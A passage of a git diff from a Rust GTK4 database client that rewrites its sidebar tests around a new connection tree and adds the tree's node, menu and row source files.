             ..every_affordance()
         },
     );
-    let key = ObjectKey(table("orders")).to_variant();
 
-    shown
-        .list_view()
-        .activate_action("sidebar.drop-table", Some(&key))
-        .expect("the action");
-    shown
-        .list_view()
-        .activate_action("sidebar.new-table", Some(&Some("public".to_owned()).to_variant()))
-        .expect("the action");
+    view.actions()
+        .activate_action("drop-table", Some(&ObjectKey(table("orders")).to_variant()));
+    view.actions()
+        .activate_action("new-table", Some(&Some("public".to_owned()).to_variant()));
 
-    assert!(shown.taken().is_empty());
+    assert!(events.take().is_empty());
+}
+
+/// The scroll marks the row the list focuses next; the grab carries the
+/// focus to its expander.
+fn focus_row(shown: &Shown, name: &str) {
+    let list_view = shown.pane().list_view.clone();
+    list_view.scroll_to(shown.position(name), gtk::ListScrollFlags::FOCUS, None);
+    list_view.grab_focus();
+    wait_until(WAIT, || {
+        let focused = gtk::prelude::GtkWindowExt::focus(&shown.window);
+        focused.is_some_and(|widget| {
+            widget
+                .downcast_ref::<gtk::TreeExpander>()
+                .and_then(|expander| expander.list_row())
+                .and_then(|row| item_title(row.upcast_ref()))
+                .as_deref()
+                == Some(name)
+        })
+    })
+    .expect("the row's expander focused");
 }
 
 #[gtk4::test]
 fn keyboard_menu_falls_back_to_the_selected_row() {
-    let shown = Shown::new(&["a", "b", "c", "d"], every_affordance());
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(
+        &["a", "b", "c", "d"].map(|name| object("public", name)),
+        every_affordance(),
+    );
+    let key = shown.open(&alpha, &view);
+    shown.tree.select(Some(&key), Some(&table("c")));
     // Showing the window focuses its first control, which may be a row.
     gtk::prelude::GtkWindowExt::set_focus(&shown.window, None::<&gtk::Widget>);
-    shown.selection().set_selected(2);
 
-    shown
-        .list_view()
-        .activate_action("sidebar.context-menu", None)
-        .expect("the action");
+    WidgetExt::activate_action(&shown.tree.widget(), "tree.context-menu", None).expect("the action");
 
     let popover = shown.popover();
-    assert!(popover.is_visible(), "the menu did not open");
-    let model = popover.menu_model().expect("a menu model");
-    let (_, target) = menu_items(&model).into_iter().next().expect("an item");
-    assert_eq!(
-        target.as_ref().and_then(ObjectKey::from_variant),
-        Some(ObjectKey(table("c")))
-    );
+    assert_eq!(menu_table(&popover), Some(ObjectKey(table("c"))));
     assert!(popover.pointing_to().0, "the menu points at nothing");
     popover.popdown();
 }
 
-/// The table the open menu acts on, if a menu is open.
-fn menu_table(shown: &Shown) -> Option<ObjectKey> {
-    let popover = shown.popover();
-    if !popover.is_visible() {
-        return None;
-    }
-    let (_, target) = menu_items(&popover.menu_model()?).into_iter().next()?;
-    target.as_ref().and_then(ObjectKey::from_variant)
-}
-
-/// The name on the row the keyboard is on.
-fn focused_name(list_view: &gtk::ListView) -> Option<String> {
-    list_view
-        .focus_child()
-        .and_then(|item| item.first_child())
-        .and_then(|row| row.first_child())
-        .and_then(|icon| icon.next_sibling())
-        .and_downcast::<gtk::Label>()
-        .map(|label| label.label().to_string())
-}
-
-/// The scroll marks the row the list focuses next; the grab carries the
-/// focus there.
-fn focus_row(list_view: &gtk::ListView, position: u32, name: &str) {
-    list_view.scroll_to(position, gtk::ListScrollFlags::FOCUS, None);
-    list_view.grab_focus();
-    wait_until(WAIT, || focused_name(list_view).as_deref() == Some(name)).expect("the row focused");
-}
-
 #[gtk4::test]
 fn keyboard_menu_opens_for_the_focused_row() {
-    let shown = Shown::new(&["a", "b", "c", "d"], every_affordance());
-    let list_view = shown.list_view();
-    wait_until(WAIT, || list_view.height() > 0).expect("the list laid out");
-
-    // An editor tab in front: no row is selected.
-    focus_row(&list_view, 2, "c");
-    shown.view.sync_selection(None);
-    list_view
-        .activate_action("sidebar.context-menu", None)
-        .expect("the action");
-    assert_eq!(menu_table(&shown), Some(ObjectKey(table("c"))));
+    let alpha = connection("Alpha", None);
+    let shown = Shown::new(std::slice::from_ref(&alpha));
+    let (view, _) = session(
+        &["a", "b", "c", "d"].map(|name| object("public", name)),
+        every_affordance(),
+    );
+    let key = shown.open(&alpha, &view);
+    wait_until(WAIT, || shown.pane().list_view.height() > 0).expect("the list laid out");
+
+    // An editor tab in front selects the connection's row.
+    focus_row(&shown, "c");
+    shown.tree.select(Some(&key), None);
+    WidgetExt::activate_action(&shown.tree.widget(), "tree.context-menu", None).expect("the action");
+    assert_eq!(menu_table(&shown.popover()), Some(ObjectKey(table("c"))));
     shown.popover().popdown();
 
     // A table tab in front selects its own row, not the focused one.
-    focus_row(&list_view, 2, "c");
-    shown.view.sync_selection(Some(&table("a")));
-    list_view
-        .activate_action("sidebar.context-menu", None)
-        .expect("the action");
-    assert_eq!(menu_table(&shown), Some(ObjectKey(table("c"))));
+    focus_row(&shown, "c");
+    shown.tree.select(Some(&key), Some(&table("a")));
+    WidgetExt::activate_action(&shown.tree.widget(), "tree.context-menu", None).expect("the action");
+    assert_eq!(menu_table(&shown.popover()), Some(ObjectKey(table("c"))));
     shown.popover().popdown();
 }
 
-#[gtk4::test]
-fn a_row_tells_a_screen_reader_its_kind() {
-    let shown = Shown::new(&[], every_affordance());
-    shown.view.apply_objects(
-        &[
-            object("public", "orders"),
-            ObjectInfo {
-                schema: Some("public".to_owned()),
-                name: "totals".to_owned(),
-                kind: ObjectKind::View,
-            },
-        ],
-        &public(),
-    );
-
-    wait_until(WAIT, || shown.view.row_descriptions().len() == 2).expect("both rows bound");
-    assert_eq!(
-        shown.view.row_descriptions(),
-        [
-            ("orders".to_owned(), "Table".to_owned()),
-            ("totals".to_owned(), "View".to_owned())
-        ]
-    );
-}
-
 #[gtk4::test]
 fn the_menu_keys_reach_the_context_menu_action() {
-    let shown = Shown::new(&["a"], every_affordance());
+    let shown = Shown::new(&[connection("Alpha", None)]);
 
     let bound = crate::test_support::shortcut_keys::owner_controller(
-        &shown.list_view(),
-        crate::application::ShortcutOwner::SidebarList,
+        &shown.tree.widget(),
+        crate::application::ShortcutOwner::ConnectionTree,
     )
-    .expect("the list's keys");
+    .expect("the tree's keys");
     let actions: Vec<String> = crate::test_support::shortcut_keys::shortcuts(&bound)
         .into_iter()
         .filter_map(|shortcut| shortcut.action().and_downcast::<gtk::NamedAction>())
         .map(|action| action.action_name().to_string())
         .collect();
 
-    assert_eq!(actions, ["sidebar.context-menu", "sidebar.context-menu"]);
-}
-
-/// Each section header's title and whether its New Table button shows.
-fn headers(list_view: &gtk::ListView) -> Vec<(String, bool)> {
-    descendants(list_view)
-        .into_iter()
-        .filter(|widget| widget.css_name() == "header")
-        .filter_map(|header| {
-            let row = header.first_child()?;
-            let title = row.first_child().and_downcast::<gtk::Label>()?.label().to_string();
-            let add = row.last_child().and_downcast::<gtk::Button>()?;
-            Some((title, add.is_visible()))
-        })
-        .collect()
-}
-
-#[gtk4::test]
-fn the_new_table_button_follows_the_dialect() {
-    let shown = Shown::new(&["orders"], every_affordance());
-    wait_until(WAIT, || !headers(&shown.list_view()).is_empty()).expect("a section header");
-    assert_eq!(headers(&shown.list_view()), [("public".to_owned(), true)]);
-    let button = crate::test_support::find_by_action_name(&shown.list_view(), "sidebar.new-table")
-        .and_downcast::<gtk::Button>()
-        .expect("the New Table button");
-    assert_eq!(button.tooltip_text().as_deref(), Some("New Table in public…"));
-    button.emit_clicked();
-    assert_eq!(shown.taken(), [SidebarEvent::NewTable(Some("public".to_owned()))]);
-
-    shown.view.set_affordances(SidebarAffordances {
-        can_create_table: false,
-        ..every_affordance()
-    });
-    wait_until(WAIT, || headers(&shown.list_view()) == [("public".to_owned(), false)])
-        .expect("the button hidden once the server cannot create tables");
-}
-
-/// Every engine draws a diagram, so the button stays where New Table
-/// goes away.
-#[gtk4::test]
-fn each_schema_heading_shows_its_er_diagram() {
-    let shown = Shown::new(&["orders"], every_affordance());
-    wait_until(WAIT, || !headers(&shown.list_view()).is_empty()).expect("a section header");
-    let button = crate::test_support::find_by_action_name(&shown.list_view(), "sidebar.show-schema-diagram")
-        .and_downcast::<gtk::Button>()
-        .expect("the ER Diagram button");
-    assert_eq!(button.tooltip_text().as_deref(), Some("Show ER Diagram of public"));
-    crate::test_support::assert_labelled(&button).expect("the ER Diagram button is named");
-
-    button.emit_clicked();
-
-    assert_eq!(shown.taken(), [SidebarEvent::ShowDiagram(Some("public".to_owned()))]);
-    shown.view.set_affordances(SidebarAffordances {
-        can_create_table: false,
-        ..every_affordance()
-    });
-    wait_until(WAIT, || headers(&shown.list_view()) == [("public".to_owned(), false)]).expect("New Table hidden");
-    let button = crate::test_support::find_by_action_name(&shown.list_view(), "sidebar.show-schema-diagram")
-        .expect("the ER Diagram button");
-    assert!(button.is_visible());
+    assert_eq!(actions, ["tree.context-menu", "tree.context-menu"]);
 }
 
 #[gtk4::test]
-fn a_heading_of_collections_offers_no_er_diagram() {
-    let shown = Shown::new(
-        &["orders"],
-        SidebarAffordances {
-            can_create_table: false,
-            can_edit_structure: false,
-            speaks_sql: false,
-            ..every_affordance()
-        },
-    );
-    wait_until(WAIT, || !headers(&shown.list_view()).is_empty()).expect("a section header");
+fn the_keyboard_focus_is_on_the_rows_expander() {
+    let shown = Shown::new(&[connection("Alpha", Some("Work"))]);
 
-    let button = crate::test_support::find_by_action_name(&shown.list_view(), "sidebar.show-schema-diagram")
-        .expect("the heading's ER Diagram button");
+    focus_row(&shown, "Work");
 
-    assert!(!button.is_visible(), "documents have no keys to draw");
+    let item = shown.row_widget("Work").imp().item.upgrade().expect("the row's item");
+    assert!(!item.is_focusable(), "the row takes the focus the expander's keys need");
 }
 
-#[gtk4::test]
-fn a_heading_of_keys_offers_no_er_diagram() {
-    let shown = Shown::new(&[], every_affordance());
-    shown.view.hold_keys();
-    let key = ObjectInfo {
-        schema: None,
-        name: "user:1".to_owned(),
-        kind: ObjectKind::Key(tablepro_core::meta::KeyKind::Hash),
-    };
-    shown.view.show_keys(
-        super::sidebar_index::SidebarIndex::keys(&[key], "db0".to_owned()),
-        false,
-    );
-    wait_until(WAIT, || !headers(&shown.list_view()).is_empty()).expect("the keys' heading");
-
-    let button = crate::test_support::find_by_action_name(&shown.list_view(), "sidebar.show-schema-diagram")
-        .expect("the heading's ER Diagram button");
-
-    assert!(!button.is_visible(), "keys have no diagram");
+/// These press real keys on the X display every test shares; nextest runs
+/// them with no other test beside them.
+mod real_keys {
+    use gtk4::gdk;
+    use gtk4::prelude::*;
+
+    use super::{Shown, connection, focus_row};
+    use crate::test_support::{KeyInjector, wait_until};
+    use crate::ui::session_window::tests::WAIT;
+
+    #[gtk4::test]
+    fn plus_and_minus_open_and_fold_a_group() {
+        let shown = Shown::new(&[connection("Alpha", Some("Work")), connection("Beta", None)]);
+        KeyInjector::focus_only(&shown.window);
+        wait_until(WAIT, || shown.window.is_active()).expect("the window to take the focus");
+        let keys = KeyInjector::connect().expect("an X11 display");
+        focus_row(&shown, "Work");
+
+        keys.press(gdk::Key::KP_Add, gdk::ModifierType::empty())
+            .expect("the key press");
+        wait_until(WAIT, || shown.row("Work").is_expanded()).expect("+ to open the group");
+        keys.press(gdk::Key::KP_Subtract, gdk::ModifierType::empty())
+            .expect("the key press");
+        wait_until(WAIT, || !shown.row("Work").is_expanded()).expect("- to fold the group");
+    }
 }
 
-#[gtk4::test]
-fn sync_selection_follows_the_tab_and_survives_a_new_list() {
-    let shown = Shown::new(&["orders", "users"], every_affordance());
-
-    shown.view.sync_selection(Some(&table("users")));
-    assert_eq!(shown.selection().selected(), 1);
-    shown.view.apply_objects(
-        &[
-            object("public", "accounts"),
-            object("public", "orders"),
-            object("public", "users"),
-        ],
-        &public(),
-    );
-    assert_eq!(shown.selection().selected(), 2, "the new list dropped the selection");
-
-    shown.view.sync_selection(None);
-    assert_eq!(shown.selection().selected(), gtk::INVALID_LIST_POSITION);
+fn front_table(test: &TestWindow) -> Option<String> {
+    let tree = crate::ui::workspace::tests::shell_of(&test.workspace()).tree()?;
+    let inner = &tree.inner;
+    inner.tree.selection.selected_item().and_then(|item| item_title(&item))
 }
 
-fn sidebar_selected(workspace: &crate::ui::workspace::Workspace) -> Option<TableRef> {
-    workspace.read(|model| model.sidebar.selected_table()).flatten()
+fn shown_tables(workspace: &crate::ui::workspace::Workspace) -> Option<u32> {
+    workspace.read(|model| listed(&model.sidebar))
 }
 
 #[gtk4::test]
-fn sync_selection_selects_matching_row_and_clears_for_editor() {
+fn the_tree_selects_the_table_in_front_and_the_connection_for_an_editor() {
     let test = TestWindow::connected_with("SidebarSync", |script| {
         script.list_objects.once(FakeReply::ok(vec![
             object("public", "orders"),
@@ -652,7 +1540,7 @@ fn sync_selection_selects_matching_row_and_clears_for_editor() {
         ]));
     });
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(2)).expect("the tables listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(2)).expect("the tables listed");
 
     workspace.with_model(|model| {
         model.open_tab(TabSpec::Table {
@@ -661,7 +1549,7 @@ fn sync_selection_selects_matching_row_and_clears_for_editor() {
             filter: crate::ui::browse_tab::TableFilter::Remembered,
         })
     });
-    wait_until(WAIT, || sidebar_selected(&workspace) == Some(table("users"))).expect("the table's row selected");
+    wait_until(WAIT, || front_table(&test).as_deref() == Some("users")).expect("the table's row selected");
 
     WidgetExt::activate_action(&test.window, "win.new-editor-tab", None).expect("win.new-editor-tab");
     wait_until(WAIT, || {
@@ -676,7 +1564,8 @@ fn sync_selection_selects_matching_row_and_clears_for_editor() {
             == Some(true)
     })
     .expect("the editor in front");
-    wait_until(WAIT, || sidebar_selected(&workspace).is_none()).expect("no row selected for the editor");
+    wait_until(WAIT, || front_table(&test).as_deref() == Some(test.saved.name.as_str()))
+        .expect("the connection's row selected for the editor");
 }
 
 #[gtk4::test]
@@ -689,8 +1578,7 @@ fn sidebar_lists_every_schema_after_the_connect() {
     });
     let workspace = test.workspace();
 
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(2))
-        .expect("the second schema's table listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(2)).expect("the second schema's table listed");
     let session = workspace
         .read(|model| model.context.active.get())
         .flatten()
@@ -721,7 +1609,7 @@ fn catalog_error_keeps_list_and_shows_why_until_a_read_lands() {
         }
     });
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(2)).expect("the tables listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(2)).expect("the tables listed");
     let banner = workspace.imp().catalog_banner.get();
     assert!(!banner.is_revealed(), "a banner before anything failed");
 
@@ -734,15 +1622,11 @@ fn catalog_error_keeps_list_and_shows_why_until_a_read_lands() {
         banner.title()
     );
     assert_eq!(banner.action_name().as_deref(), Some("win.refresh-tables"));
-    assert_eq!(
-        workspace.read(|model| model.sidebar.shown()),
-        Some(2),
-        "the failure emptied the list"
-    );
+    assert_eq!(shown_tables(&workspace), Some(2), "the failure emptied the list");
 
     WidgetExt::activate_action(&test.window, "win.refresh-tables", None).expect("the banner's Retry");
 
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(3)).expect("the list read again");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(3)).expect("the list read again");
     assert!(!banner.is_revealed(), "the banner stayed after a read landed");
 }
 
@@ -758,14 +1642,17 @@ fn the_refresh_button_reads_the_tables_again() {
         }
     });
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(1)).expect("the table listed");
-    let button = workspace.imp().refresh_tables_button.get();
+    wait_until(WAIT, || shown_tables(&workspace) == Some(1)).expect("the table listed");
+    let button = crate::ui::workspace::tests::shell_of(&workspace)
+        .imp()
+        .refresh_tables_button
+        .get();
     assert_eq!(button.action_name().as_deref(), Some("win.refresh-tables"));
     crate::test_support::assert_labelled(&button).expect("the refresh button is named");
 
     button.emit_clicked();
 
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(2)).expect("the new table listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(2)).expect("the new table listed");
 }
 
 #[gtk4::test]
@@ -775,7 +1662,7 @@ fn ddl_run_in_the_editor_reads_the_tables_again() {
 
     let mut runs = Replies::default();
     runs.always(FakeRun::completed(Vec::new()));
-    let editor_session: std::sync::Arc<dyn EditorSession> = std::sync::Arc::new(FakeEditorSession::new(runs));
+    let editor_session: Arc<dyn EditorSession> = Arc::new(FakeEditorSession::new(runs));
     let test = TestWindow::connected_with("SidebarEditorDdl", |script| {
         script.open_editor_session.always(FakeReply::ok(editor_session));
         script.list_objects.once(FakeReply::ok(vec![object("public", "users")]));
@@ -787,7 +1674,7 @@ fn ddl_run_in_the_editor_reads_the_tables_again() {
         }
     });
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(1)).expect("the table listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(1)).expect("the table listed");
     workspace.with_model(|model| model.open_editor_tab(Some("CREATE TABLE orders (id int)".to_owned())));
     let editor = crate::ui::session_window::tests::editors(&test.window)
         .pop()
@@ -795,8 +1682,7 @@ fn ddl_run_in_the_editor_reads_the_tables_again() {
 
     editor.run();
 
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(2))
-        .expect("the created table listed without a reconnect");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(2)).expect("the created table listed without a reconnect");
 }
 
 #[gtk4::test]
@@ -809,7 +1695,7 @@ fn a_reconnect_reads_every_schema_again() {
         ]));
     });
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(1)).expect("the table listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(1)).expect("the table listed");
     let session = workspace
         .read(|model| model.context.active.get())
         .flatten()
@@ -821,10 +1707,8 @@ fn a_reconnect_reads_every_schema_again() {
     // What a reconnect does once the new connection read its catalog.
     session.catalog().commit(Vec::new(), vec![object("public", "users")]);
 
-    wait_until(Duration::from_secs(10), || {
-        workspace.read(|model| model.sidebar.shown()) == Some(2)
-    })
-    .expect("every schema's list read again");
+    wait_until(Duration::from_secs(10), || shown_tables(&workspace) == Some(2))
+        .expect("every schema's list read again");
     assert!(listed().generation > before, "every schema's list was not read again");
     assert_eq!(listed().objects.len(), 2);
 }
@@ -838,7 +1722,7 @@ fn a_reconnect_names_tabs_by_its_schemas_when_the_list_fails() {
             .once(FakeReply::err(DriverError::Protocol("catalog gone".to_owned())));
     });
     let workspace = test.workspace();
-    wait_until(WAIT, || workspace.read(|model| model.sidebar.shown()) == Some(1)).expect("the table listed");
+    wait_until(WAIT, || shown_tables(&workspace) == Some(1)).expect("the table listed");
     let naming = || workspace.read(|model| model.naming.get());
     assert_eq!(naming(), Some(TableNaming::Bare));
     let session = workspace
@@ -855,9 +1739,5 @@ fn a_reconnect_names_tabs_by_its_schemas_when_the_list_fails() {
     wait_until(WAIT, || banner.is_revealed()).expect("the list read to fail");
     wait_until(WAIT, || naming() == Some(TableNaming::SchemaQualified))
         .expect("the reconnect's schemas never named the tabs");
-    assert_eq!(
-        workspace.read(|model| model.sidebar.shown()),
-        Some(1),
-        "the failure emptied the list"
-    );
+    assert_eq!(shown_tables(&workspace), Some(1), "the failure emptied the list");
 }
diff --git a/linux/crates/app/src/ui/workspace/sidebar/tree_menu.rs b/linux/crates/app/src/ui/workspace/sidebar/tree_menu.rs
new file mode 100644
index 0000000000..ee1cf92e37
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/sidebar/tree_menu.rs
@@ -0,0 +1,60 @@
+use gtk4::gio;
+use tablepro_session::SessionKey;
+
+/// The window actions the tree's connection rows reach, each with the
+/// session's key as its target.
+pub(super) const SHOW_SESSION: &str = "win.show-session";
+const NEW_QUERY_IN: &str = "win.new-query-in";
+const REFRESH_IN: &str = "win.refresh-in";
+pub(super) const DISCONNECT_SESSION: &str = "win.disconnect-session";
+const STOP_CONNECTING: &str = "win.stop-connecting";
+pub(super) const SHOW_CONNECT_FAILURE: &str = "win.show-connect-failure";
+const FORGET_CONNECT_FAILURE: &str = "win.forget-connect-failure";
+
+/// What a connection is doing in the window, which its menu leads with.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub(super) enum InWindow {
+    Open,
+    Connecting,
+    /// Closed, `failed` when its last connect failed, `stored` while a
+    /// saved connection names it.
+    Closed {
+        failed: bool,
+        stored: bool,
+    },
+}
+
+/// The connection's menu section for the window: the session's own
+/// actions while it is open, Stop Connecting while it connects, else
+/// Connect for a saved connection, and the reason a connect failed.
+pub(super) fn session_section(key: &SessionKey, state: InWindow) -> gio::Menu {
+    let target = crate::ui::session_target::to_variant(key);
+    let menu = gio::Menu::new();
+    let add = |label: String, action: &str| {
+        let item = gio::MenuItem::new(Some(&label), None);
+        item.set_action_and_target_value(Some(action), Some(&target));
+        menu.append_item(&item);
+    };
+    match state {
+        InWindow::Open => {
+            add(crate::i18n::gettext("New Query"), NEW_QUERY_IN);
+            add(crate::i18n::gettext("Refresh"), REFRESH_IN);
+            add(crate::i18n::gettext("Disconnect"), DISCONNECT_SESSION);
+        }
+        // A connect can wait for a host that never answers.
+        InWindow::Connecting => add(crate::i18n::gettext("Stop Connecting"), STOP_CONNECTING),
+        InWindow::Closed { failed, stored } => {
+            if stored && let SessionKey::Saved(id) = key {
+                menu.append_item(&crate::ui::picker::connect_item(*id));
+            }
+            if failed {
+                add(crate::i18n::gettext("Show Error"), SHOW_CONNECT_FAILURE);
+            }
+            // Its row is only the failure's; nothing else removes it.
+            if failed && !stored {
+                add(crate::i18n::gettext("Remove"), FORGET_CONNECT_FAILURE);
+            }
+        }
+    }
+    menu
+}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/tree_node.rs b/linux/crates/app/src/ui/workspace/sidebar/tree_node.rs
new file mode 100644
index 0000000000..32ca3f7341
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/sidebar/tree_node.rs
@@ -0,0 +1,184 @@
+use std::cell::{Cell, RefCell};
+
+use gtk4::gio;
+use gtk4::glib;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use tablepro_session::SessionKey;
+
+use super::sidebar_list::SidebarList;
+
+/// What a row of the connection tree above the tables stands for.
+#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
+pub(crate) enum NodeKind {
+    /// A group the user filed connections under.
+    #[default]
+    Group,
+    /// A saved connection, or one the window opens or connects to that
+    /// no saved connection names.
+    Connection,
+    /// One schema, or database, of an open connection.
+    Schema,
+    /// Says an open connection lists nothing.
+    Placeholder,
+}
+
+mod imp {
+    use super::*;
+
+    #[derive(Default, glib::Properties)]
+    #[properties(wrapper_type = super::TreeNode)]
+    pub struct TreeNode {
+        pub(super) kind: Cell<NodeKind>,
+        pub(super) key: RefCell<Option<SessionKey>>,
+        /// The schema a schema row lists. `None` for the objects an
+        /// engine lists with no schema.
+        pub(super) schema: RefCell<Option<String>>,
+        /// What the tree lists under the row.
+        pub(super) children: RefCell<Option<gio::ListModel>>,
+        /// A schema's tables the search finds.
+        pub(super) found: RefCell<Option<gio::ListModel>>,
+        #[property(get, set)]
+        pub(super) title: RefCell<String>,
+        #[property(get, set)]
+        pub(super) icon_name: RefCell<String>,
+        /// The connection's colour, as the class `connection_appearance`
+        /// names it, or empty for none.
+        #[property(get, set)]
+        pub(super) color_class: RefCell<String>,
+        /// The connection has a session open in this window.
+        #[property(get, set)]
+        pub(super) open: Cell<bool>,
+        /// The connection is connecting, or its session is busy.
+        #[property(get, set)]
+        pub(super) busy: Cell<bool>,
+        /// Why the connection could not connect, or what its session
+        /// lost, or empty.
+        #[property(get, set)]
+        pub(super) problem: RefCell<String>,
+    }
+
+    #[glib::object_subclass]
+    impl ObjectSubclass for TreeNode {
+        const NAME: &'static str = "TableProTreeNode";
+        type Type = super::TreeNode;
+    }
+
+    #[glib::derived_properties]
+    impl ObjectImpl for TreeNode {}
+}
+
+glib::wrapper! {
+    pub struct TreeNode(ObjectSubclass<imp::TreeNode>);
+}
+
+impl TreeNode {
+    fn of(kind: NodeKind, title: &str) -> Self {
+        let node: Self = glib::Object::builder().property("title", title).build();
+        node.imp().kind.set(kind);
+        node
+    }
+
+    pub(crate) fn group(title: &str) -> Self {
+        let node = Self::of(NodeKind::Group, title);
+        node.imp()
+            .children
+            .replace(Some(gio::ListStore::new::<TreeNode>().upcast()));
+        node
+    }
+
+    /// A connection's row, which lists nothing until its session opens.
+    pub(crate) fn connection(key: SessionKey, title: &str) -> Self {
+        let node = Self::of(NodeKind::Connection, title);
+        node.imp().key.replace(Some(key));
+        node
+    }
+
+    /// A schema's row, over its tables and the ones the search finds.
+    pub(crate) fn schema(title: &str, schema: Option<String>) -> Self {
+        let node = Self::of(NodeKind::Schema, title);
+        let imp = node.imp();
+        imp.schema.replace(schema);
+        imp.children.replace(Some(SidebarList::new().upcast()));
+        imp.found.replace(Some(SidebarList::new().upcast()));
+        node
+    }
+
+    pub(crate) fn placeholder(title: &str) -> Self {
+        Self::of(NodeKind::Placeholder, title)
+    }
+
+    pub(crate) fn kind(&self) -> NodeKind {
+        self.imp().kind.get()
+    }
+
+    pub(crate) fn key(&self) -> Option<SessionKey> {
+        self.imp().key.borrow().clone()
+    }
+
+    pub(crate) fn schema_name(&self) -> Option<String> {
+        self.imp().schema.borrow().clone()
+    }
+
+    pub(crate) fn set_schema_name(&self, schema: Option<String>) {
+        self.imp().schema.replace(schema);
+    }
+
+    pub(crate) fn children(&self) -> Option<gio::ListModel> {
+        self.imp().children.borrow().clone()
+    }
+
+    pub(crate) fn found(&self) -> Option<gio::ListModel> {
+        self.imp().found.borrow().clone()
+    }
+
+    pub(crate) fn set_found(&self, found: SidebarList) {
+        self.imp().found.replace(Some(found.upcast()));
+    }
+
+    /// What an open connection lists in the tree; none once it closes.
+    pub(crate) fn set_children(&self, children: Option<gio::ListModel>) {
+        self.imp().children.replace(children);
+    }
+
+    /// The store of a group's connections.
+    pub(crate) fn child_store(&self) -> Option<gio::ListStore> {
+        self.children().and_downcast::<gio::ListStore>()
+    }
+
+    /// A schema's tables.
+    pub(crate) fn rows(&self) -> Option<SidebarList> {
+        self.children().and_downcast::<SidebarList>()
+    }
+
+    /// The schema's tables the search finds.
+    pub(crate) fn found_rows(&self) -> Option<SidebarList> {
+        self.found().and_downcast::<SidebarList>()
+    }
+
+    /// Change the properties that differ, so a row on screen redraws and
+    /// says again only what changed.
+    pub(crate) fn update(&self, title: &str, icon_name: &str, color_class: &str) {
+        if self.title() != title {
+            self.set_title(title);
+        }
+        if self.icon_name() != icon_name {
+            self.set_icon_name(icon_name);
+        }
+        if self.color_class() != color_class {
+            self.set_color_class(color_class);
+        }
+    }
+
+    pub(crate) fn update_state(&self, open: bool, busy: bool, problem: &str) {
+        if self.open() != open {
+            self.set_open(open);
+        }
+        if self.busy() != busy {
+            self.set_busy(busy);
+        }
+        if self.problem() != problem {
+            self.set_problem(problem);
+        }
+    }
+}
diff --git a/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs b/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs
new file mode 100644
index 0000000000..f3c1ba9904
--- /dev/null
+++ b/linux/crates/app/src/ui/workspace/sidebar/tree_row.rs
@@ -0,0 +1,315 @@
+use std::cell::RefCell;
+
+use gtk4 as gtk;
+use gtk4::prelude::*;
+use gtk4::subclass::prelude::*;
+use gtk4::{glib, pango};
+use libadwaita as adw;
+
+use super::sidebar_object::SidebarObject;
+use super::tree_menu::DISCONNECT_SESSION;
+use super::tree_node::{NodeKind, TreeNode};
+
+/// The class every connection's icon carries, which its colour's rule
+/// in style.css needs beside the colour's class.
+const CONNECTION_ICON: &str = "tp-connection-icon";
+
+mod imp {
+    use super::*;
+
+    pub struct TreeRow {
+        pub(in super::super) icon: gtk::Image,
+        pub(in super::super) name: gtk::Label,
+        /// A key's type, as a dim suffix: its icon alone would leave the
+        /// user to learn which picture means a sorted set.
+        pub(in super::super) kind: gtk::Label,
+        pub(in super::super) spinner: adw::Spinner,
+        /// Disconnects an open connection, as GNOME Files ejects a mount.
+        pub(in super::super) eject: gtk::Button,
+        /// Says why the connection could not connect, or what it lost.
+        pub(in super::super) problem: gtk::Image,
+        /// The list item the row is in, which a screen reader describes.
+        pub(crate) item: glib::WeakRef<gtk::ListItem>,
+        /// The node the row shows, and its watches.
+        pub(super) watched: RefCell<Option<(TreeNode, Vec<glib::SignalHandlerId>)>>,
+        pub(super) bindings: RefCell<Vec<glib::Binding>>,
+    }
+
+    // A widget's accessible role is fixed once it is made, so the parts a
+    // screen reader skips are built with theirs.
+    impl Default for TreeRow {
+        fn default() -> Self {
+            let presentation = gtk::AccessibleRole::Presentation;
+            Self {
+                icon: gtk::Image::builder()
+                    .pixel_size(16)
+                    .accessible_role(presentation)
+                    .build(),
+                name: gtk::Label::builder()
+                    .xalign(0.0)
+                    .hexpand(true)
+                    .ellipsize(pango::EllipsizeMode::End)
+                    .build(),
+                kind: gtk::Label::builder()
+                    .accessible_role(presentation)
+                    .visible(false)
+                    .build(),
+                spinner: adw::Spinner::builder().visible(false).build(),
+                eject: gtk::Button::builder()
+                    .icon_name(crate::ui::icons::MEDIA_EJECT)
+                    .valign(gtk::Align::Center)
+                    .visible(false)
+                    .build(),
+                problem: gtk::Image::builder()
+                    .icon_name(crate::ui::icons::NETWORK_ERROR)
+                    .accessible_role(presentation)
+                    .visible(false)
+                    .build(),
+                item: glib::WeakRef::new(),
+                watched: RefCell::new(None),
+                bindings: RefCell::new(Vec::new()),
+            }
+        }
+    }
+
+    #[glib::object_subclass]
+    impl ObjectSubclass for TreeRow {
+        const NAME: &'static str = "TableProTreeRow";
+        type Type = super::TreeRow;
+        type ParentType = gtk::Box;
+    }
+
+    impl ObjectImpl for TreeRow {
